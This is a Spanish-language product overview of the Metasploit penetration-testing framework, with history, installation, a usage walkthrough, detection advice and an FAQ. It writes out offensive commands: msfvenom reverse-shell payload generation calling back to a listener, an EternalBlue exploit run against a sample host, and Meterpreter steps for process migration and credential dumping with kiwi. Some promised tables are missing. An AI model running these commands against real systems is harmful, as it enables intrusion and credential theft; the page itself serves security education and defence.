Metasploit Framework

Metasploit Framework – La plataforma de pruebas de penetración de código abierto más completa del mundo

Descripción del programa Metasploit Framework

Metasploit Framework es una plataforma de pruebas de penetración y desarrollo de exploits de código abierto, creada por H.D. Moore en 2003 y adquirida por Rapid7 en 2009. Desde su lanzamiento inicial, se ha convertido en la herramienta de referencia para profesionales de seguridad ofensiva, investigadores de vulnerabilidades y equipos de respuesta a incidentes en todo el mundo.

El Framework responde a una pregunta fundamental en seguridad informática: ¿puede un atacante explotar realmente esta vulnerabilidad? Mientras que los escáneres de vulnerabilidades identifican debilidades potenciales, Metasploit permite validar si esas vulnerabilidades son realmente explotables en entornos controlados. Esta distinción es crucial porque no todas las vulnerabilidades presentan el mismo nivel de riesgo.

La arquitectura de Metasploit es completamente modular, basada en Ruby y diseñada para permitir a los profesionales desarrollar, probar y ejecutar código de explotación contra sistemas objetivo. El proyecto es mantenido por Rapid7 junto con una comunidad global de contribuyentes. Según el resumen anual de Rapid7 de 2024, el Framework añadió 165 nuevos módulos, contribuidos por 62 desarrolladores, incluyendo 39 contribuyentes primerizos.

Metasploit se distribuye en dos ediciones principales: la versión Open Source (Framework) gratuita con interfaz de línea de comandos, y la versión Pro comercial que añade una interfaz gráfica, automatización y capacidades de gestión de equipos. El Framework es compatible con Windows, Linux y macOS.

¿Necesitas validar la explotabilidad de vulnerabilidades en tu infraestructura o comprender cómo opera el framework de pruebas de penetración más utilizado del mundo?

Características clave de Metasploit Framework

1. Arquitectura modular con siete tipos de componentes

Metasploit organiza sus funcionalidades en siete tipos de módulos, cada uno diseñado para una fase específica del ataque:

2. Msfconsole – La interfaz de control principal

Msfconsole es la interfaz de línea de comandos principal de Metasploit, que proporciona un entorno interactivo con características avanzadas:

• Autocompletado con Tab: Facilita la navegación por módulos y opciones
• Historial de comandos: Almacena comandos previos para reutilización
• Base de datos integrada: Gestiona sesiones, credenciales y hosts a través de múltiples compromisos
• Búsqueda avanzada: Permite localizar módulos por tipo, CVE, plataforma o autor

Comandos esenciales de msfconsole:

# Iniciar la consola
msfconsole

# Buscar exploits
msf> search type:exploit apache struts

# Usar un exploit específico
msf> use exploit/multi/http/struts2_content_type_ognl

# Ver opciones configurables
msf> show options

# Configurar parámetros
msf> set RHOSTS target.com
msf> set LHOST attacker.com

# Ejecutar el exploit
msf> exploit

3. Msfvenom – Generador de payloads independientes

Msfvenom es la herramienta de línea de comandos para generar payloads autónomos que combina las funcionalidades de msfpayload y msfencode. Permite crear ejecutables personalizados para diferentes plataformas y formatos:

# Generar un payload de reverse shell para Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > shell.exe

# Generar payload en PowerShell ofuscado
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f psh-reflection

# Listar todos los payloads disponibles
msfvenom -l payloads

4. Meterpreter – El payload avanzado que redefine la post-explotación

Meterpreter es el payload estrella de Metasploit, un implante avanzado que opera completamente en memoria y proporciona un shell interactivo con capacidades extensas.

Arquitectura y características de evasión:

• Residencia en memoria: Nunca escribe componentes principales en disco, evadiendo antivirus basados en firmas
• Inyección Reflective DLL: Se carga en memoria sin usar las APIs estándar del loader de Windows
• Comunicaciones cifradas: Todo el tráfico C2 usa cifrado AES
• Migración de procesos: Puede moverse entre procesos, abandonando el proceso de explotación inicial

Capacidades de Meterpreter:

• Operaciones con archivos: upload, download, ls, cd, rm, edit
• Gestión de procesos: ps, migrate, kill, execute
• Operaciones de red: portfwd, route, arp, netstat (permite pivoting)
• Acceso a credenciales: hashdump, load kiwi (integra Mimikatz)
• Persistencia: Métodos para mantener acceso tras reinicios
• Vigilancia: keyscan_start, keyscan_dump, screenshot, webcam_snap

Variantes de Meterpreter:

5. Integración con bases de datos y herramientas externas

Metasploit se integra con un ecosistema de herramientas de seguridad:

• Nmap: Escaneos nativos vía db_nmap importan resultados directamente a la base de datos
• Nessus: Datos de vulnerabilidades pueden importarse para explotación dirigida
• Cobalt Strike: Capacidad de pasar sesiones entre frameworks para operaciones que requieren diferentes capacidades C2

6. Amplia cobertura de MITRE ATT&CK

Aunque Metasploit no tiene una entrada dedicada en MITRE ATT&CK (a diferencia de Cobalt Strike), sus módulos implementan técnicas en las 14 tácticas del marco, desde Acceso Inicial hasta Impacto:

Explicación detallada del funcionamiento

La operación típica de Metasploit sigue un flujo de trabajo estructurado que abarca desde la recolección de información hasta la post-explotación:

Fase 1: Reconocimiento y Selección
El operador utiliza módulos auxiliares para escanear objetivos o importa resultados de herramientas como Nmap. Luego busca exploits relevantes usando search con filtros por CVE, plataforma o tipo.

Fase 2: Configuración del Exploit
Una vez seleccionado el exploit, se configura con los parámetros necesarios (RHOSTS, RPORT, etc.) y se selecciona el payload apropiado (windows/meterpreter/reverse_tcp es el más común para acceso remoto).

Fase 3: Ejecución y Establecimiento de Sesión
Al ejecutar exploit o run, Metasploit intenta explotar la vulnerabilidad. Si tiene éxito, establece una sesión (puede ser una shell básica o Meterpreter) que permite interacción con el sistema comprometido.

Fase 4: Post-Explotación
Con la sesión activa, el operador puede cargar módulos post, recolectar credenciales, moverse lateralmente, establecer persistencia o pivotar a otras redes.

Fase 5: Gestión de Sesiones Múltiples
Metasploit puede manejar múltiples sesiones simultáneamente, permitiendo operaciones coordinadas contra varios objetivos.

Sleep y Comunicaciones Asíncronas
Metasploit implementa un mecanismo de «sleep» que pone las sesiones en estado latente durante intervalos configurables, reanudándose después del tiempo especificado. Esto difiere del enfoque de Cobalt Strike, donde el beacon mantiene comunicación periódica mientras la sesión permanece activa.

Descarga e instalación de Metasploit Framework

• Desarrollador: Rapid7 (adquirido en 2009)
• Creador original: H.D. Moore
• Página oficial: https://www.metasploit.com/
• Repositorio GitHub: https://github.com/rapid7/metasploit-framework
• Versión actual: 6.4+ (actualizaciones continuas)
• Tamaño: Aproximadamente 1-2 GB (con módulos y dependencias)
• Sistemas operativos compatibles: Linux, Windows, macOS
• Licencia: BSD de 3 cláusulas (Framework de código abierto); versiones comerciales (Pro, Express) son de pago
• Idioma: Interfaz en inglés
• Soporte técnico: Documentación oficial, foros comunitarios, GitHub Issues

Instalación en Linux (recomendada):

# Descargar e instalar el instalador
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo./msfinstall

# Iniciar msfconsole
msfconsole

Instalación en Windows:
Descargar el instalador desde la página oficial de Rapid7. El instalador incluye todas las dependencias necesarias y configura el entorno automáticamente.

Inicialización de la base de datos (opcional pero recomendada):

msfdb init

Esto configura una base de datos PostgreSQL local para gestionar sesiones, hosts y credenciales.

Cómo usar Metasploit Framework

Paso 1: Iniciar msfconsole y verificar entorno

msfconsole
msf6> version
msf6> workspace -a proyecto_2026

Paso 2: Buscar y seleccionar un exploit

msf6> search type:exploit eternalblue
msf6> use exploit/windows/smb/ms17_010_eternalblue

Paso 3: Configurar opciones del exploit

msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.10
msf6> set LPORT 4444

Paso 4: Verificar y ejecutar

msf6> check  # Verifica si el objetivo es vulnerable
msf6> exploit

Paso 5: Interactuar con la sesión de Meterpreter

meterpreter> sysinfo
meterpreter> getuid
meterpreter> ps
meterpreter> migrate -N explorer.exe
meterpreter> load kiwi
meterpreter> creds_all

Paso 6: Gestionar sesiones múltiples

meterpreter> background
msf6> sessions -l
msf6> sessions -i 2

Paso 7: Pasar sesión a Cobalt Strike (operaciones avanzadas)
Metasploit puede interoperar con Cobalt Strike, permitiendo a los operadores aprovechar las fortalezas de ambos frameworks. El proceso típico implica configurar un listener compatible en ambos lados y usar el comando spawn para transferir la sesión.

Observaciones sobre el programa Metasploit Framework

El estándar de oro en pruebas de penetración
Metasploit es, con diferencia, el framework de pruebas de penetración más utilizado del mundo. Contiene más de 2,300 exploits y recibe actualizaciones semanales de la comunidad y de Rapid7. Su popularidad lo convierte en un objetivo prioritario para la detección por parte de equipos de seguridad, pero también en la herramienta más completa para validar vulnerabilidades.

Dualidad de uso: legítimo y malicioso
Metasploit ejemplifica la dualidad de las herramientas de seguridad. Es utilizado legítimamente por profesionales de ciberseguridad para pruebas autorizadas, pero también ha sido documentado en campañas de grupos de amenazas como CopyKittens (G0052), Magic Hound (G0059) y la campaña UNC3890 (C0010). Esta dualidad hace que comprender Metasploit sea esencial tanto para equipos rojos como azules.

Metasploit vs. Cobalt Strike
Aunque ambos son frameworks de post-explotación, tienen enfoques distintos:

Desafíos de detección para equipos defensivos
Meterpreter presenta desafíos únicos para las soluciones de seguridad tradicionales:

• Residencia en memoria: Evita antivirus basados en firmas de archivos
• Tráfico cifrado: La inspección de red sin TLS/SSL descifrado es ineficaz
• Inyección de procesos: El payload se ejecuta dentro de procesos legítimos

Las estrategias de detección modernas deben enfocarse en:

• Comportamiento de procesos: Buscar procesos legítimos (rundll32.exe, regsvr32.exe) con líneas de comandos vacías pero conexiones de red salientes
• Carga de DLLs de PowerShell: system.management.automation.dll cargada por procesos inesperados
• Patrones de latido (beaconing): Tráfico saliente con periodicidad regular y matemática

Evolución continua
El desarrollo de Metasploit es muy activo. La versión 6.4, lanzada en marzo de 2024, introdujo mejoras significativas:

• Nuevos tipos de sesión: Sesiones interactivas para PostgreSQL, MSSQL, MySQL y SMB
• Mejoras en Kerberos: Capacidades de forja de Diamond y Sapphire tickets
• PoolParty injection: Técnica de inyección sigilosa para Windows 10+ de 64 bits

Mitigaciones recomendadas
Las organizaciones deben tratar los CVEs con módulos de Metasploit disponibles como objetivos de mayor riesgo, ya que estos módulos están vinculados al 26% de las Vulnerabilidades Conocidas Explotadas (KEV) en general, y al 56% de los CVEs de 2020-2024.

Limitaciones importantes

• ❌ Dependencia de firmas conocidas: Los exploits están basados en vulnerabilidades ya descubiertas (no zero-days)
• ❌ Puede ser detectado: Soluciones modernas de EDR pueden identificar comportamientos típicos de Meterpreter
• ❌ Curva de aprendizaje pronunciada: Requiere conocimiento de arquitectura de sistemas y redes
• ❌ Potencial de uso malicioso: El mismo poder que lo hace útil para pruebas lo hace peligroso en manos equivocadas
• ❌ Complejidad en redes modernas: Firewalls de próxima generación y EDRs pueden bloquear técnicas comunes

Alternativa recomendada

Si buscas alternativas a Metasploit Framework para pruebas de penetración o post-explotación, considera las siguientes opciones:

Cobalt Strike (comercial): Superior para operaciones de Red Team prolongadas, con mejor evasión de EDR y trabajo en equipo. Es la herramienta preferida para simulaciones de adversarios avanzados.

Sliver (código abierto): Framework de post-explotación escrito en Go que está ganando popularidad como alternativa a Metasploit y Cobalt Strike. Soporta múltiples protocolos C2 (HTTP, WireGuard, DNS) y es compatible con múltiples plataformas, incluyendo macOS.

Brute Ratel (comercial): Framework diseñado específicamente para evadir las detecciones creadas para Cobalt Strike y Metasploit. Es utilizado por equipos rojos avanzados y también ha sido observado en campañas maliciosas.

Mythic (código abierto): Framework de post-explotación con arquitectura de agentes múltiples, soportando TCP, HTTP, DNS y SMB como protocolos C2. Incluye agentes para Windows (.NET) y macOS (JavaScript).

Metasploit Framework es la puerta de entrada esencial al mundo de las pruebas de penetración y la ciberseguridad ofensiva. Su extensa base de módulos, su comunidad activa y su arquitectura modular lo convierten en una herramienta indispensable tanto para profesionales de seguridad como para investigadores de vulnerabilidades. Puedes descargarlo desde su página oficial o desde el repositorio de GitHub.

Sección FAQ

¿Metasploit Framework es gratis o de pago?

Metasploit Framework es de código abierto y gratuito (licencia BSD). Rapid7 también ofrece versiones comerciales (Metasploit Pro y Express) con interfaz gráfica, automatización y funcionalidades empresariales.

¿Funciona en Linux, macOS, Windows 10 y Windows 11?

Sí, Metasploit es multiplataforma. Funciona en Windows, Linux y macOS. Sin embargo, la mayoría de los profesionales lo ejecutan en Linux (especialmente Kali Linux o Parrot OS) por su integración nativa con otras herramientas de seguridad.

¿Qué diferencia a Metasploit de Cobalt Strike?

Metasploit es open source y se centra en la detección y explotación de vulnerabilidades con una amplia biblioteca de exploits. Cobalt Strike es comercial y se especializa en post-explotación sigilosa y operaciones de Red Team a largo plazo.

¿Cómo puedo detectar Metasploit en mi red?

Los equipos defensivos deben buscar patrones de beaconing (tráfico saliente con intervalos regulares), procesos legítimos con líneas de comandos vacías pero conexiones de red (rundll32.exe, regsvr32.exe), y la carga de system.management.automation.dll por procesos inesperados. Las soluciones modernas de EDR son la defensa más efectiva.

¿Qué ha pasado con el desarrollo de Metasploit?

El desarrollo de Metasploit es muy activo. Rapid7 continúa invirtiendo en el framework, con nuevas versiones lanzadas regularmente. La versión 6.4 se lanzó en marzo de 2024 con mejoras significativas, y en 2024 se añadieron 165 nuevos módulos. El proyecto también participa en iniciativas como Google Summer of Code 2026.